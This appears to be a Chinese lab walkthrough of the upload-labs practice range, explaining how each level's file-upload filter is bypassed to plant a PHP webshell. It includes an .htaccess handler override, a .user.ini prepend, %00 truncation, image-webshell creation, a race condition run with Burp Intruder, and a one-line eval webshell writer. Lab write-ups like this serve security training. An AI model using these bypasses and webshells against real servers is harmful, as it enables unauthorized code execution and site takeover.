pass01
上传一个php文件提示不允许上传
所以我们在上传的时候抓个包,将后缀.php改成.jpg
上传成功
用蚁剑测试,成功连接
pass02
先上传一个php文件,提示文件类型不正确
能抓到数据包,证明不是前端JS校验,是服务端进行校验,网页源代码中也没有任何前段验证代码,所以这道题的类型为后端验证。
这里我们要做的事情就是修改Content-Type
后面的数据,告诉服务器,这是一个图片文件,以达到欺骗服务器的目的
放包,文件上传成功
复制图片链接用蚁剑连接
pass03
还是一样,我们先上传一个php文件,提示不允许上传.asp,.aspx,.php,.jsp后缀文件
看看源码,这里采用了黑名单进行限制
我们只需要避开这些黑名单中的后缀即可,比如我们使用.phtml,上传成功
pass04
由于上传的文件名未经过处理,这里使用.htaccess文件攻击
重要功能:可以指定某个⽂件当作php⽂件执⾏
上传一1.htaccess文件,文件内容如下
SetHandler application/x-httpd-php
上传1.png⽂件,成功解析 且能连接
pass05
上传一个.user.ini文件,内容如下
auto_prepend_file = "1.jpg"
再上传 包含木马文件的1.jpg,上传后访问与图片地址相同目录下的readme.php文件即可出发木马文件
pass06
先查看源码,发现没有对大小写进行过滤
将后缀改为.Php ,上传成功
成功连接
pass07
没有首位去空,空格绕过
抓包后后缀名后加空格
上传成功且能连接
pass08
没有去除末尾的点,填点绕过
上传成功且能连接
pass09
没有去除字符串$::DATA
抓包后文件末尾加 $::DATA,上传成功且能连接
pass10
这里黑名单严格、删除文件名末尾点、大小写转换为小写、去除::$DATA字符、首尾去空
上传php文件后抓包
用.空格.绕过
上传成功且能连接
pass11
通过str_ireplace()函数将黑名单中的文件后缀名进行了替换,换为空字符
我们双写后缀名绕过
上传成功且能连接
pass12
这里用了白名单进行限制,只允许上传jpg/png/gif文件格式,拼接的文件路径为随机数+时间+文件后缀。构造文件存储路径使用GET传入,导致服务器最终存储的文件名可控
%00绕过:⽂件上传%00绕过是指攻击者在⽂件上传时,在⽂件名后⾯添加%00字符,从⽽绕过服务器端的⽂件类型、拓展名以及⼤⼩限制,成功上传恶意⽂件到服务器端,从⽽进⾏攻击的⼀种技巧
截断攻击,抓包上传将%00 ⾃动截断后面内容 例如 1.php%00 变成 1.php
pass13
这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改.所以会产⽣安全漏洞;
POST 下直接注⼊%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成⽂件名;
将%00的hex码更改为00,然后上传
pass14
制作图片⼀句话,直接上传即可
copy 2.jpg /b+123.php /a shell.jpg
上传制作好的图片马
复制地址蚁剑访问
pass15
攻击方法同上
pass16
使用exif_imagetype()函数来判断是否为图片文件
使用图片马绕过
pass17
二次渲染绕过,我们上传一个反二次渲染的图片,网站会对我们的图片进行二次渲染还原回来
复制图片地址直接蚁剑连接
pass18
查看网站源码,发现有tmp_name,临时目录,检测到不是jpg,png,gif会把我们上传的文化删掉
上传下方代码
<?php fputs(fopen('webshell.php' , 'w'), '<?php @eval($_POST["cmd"])?>');?>
上传文件,burp抓包,发送到 intruder 模块,设置无限发送空的payloads,线程调高一点,设置选择无限重发上传,再通过burp重复上面的步骤利用攻击器无限访问访问我们上传的文件
pass19
方法同上
pass20
上传图片文件,并自定义保存文件名称
上传成功
上传php文件,定义文件名为php
绕过方法:图片马+文件包含
将图片马上传到站点
使用文件包含访问 并连接
pass21
方法同上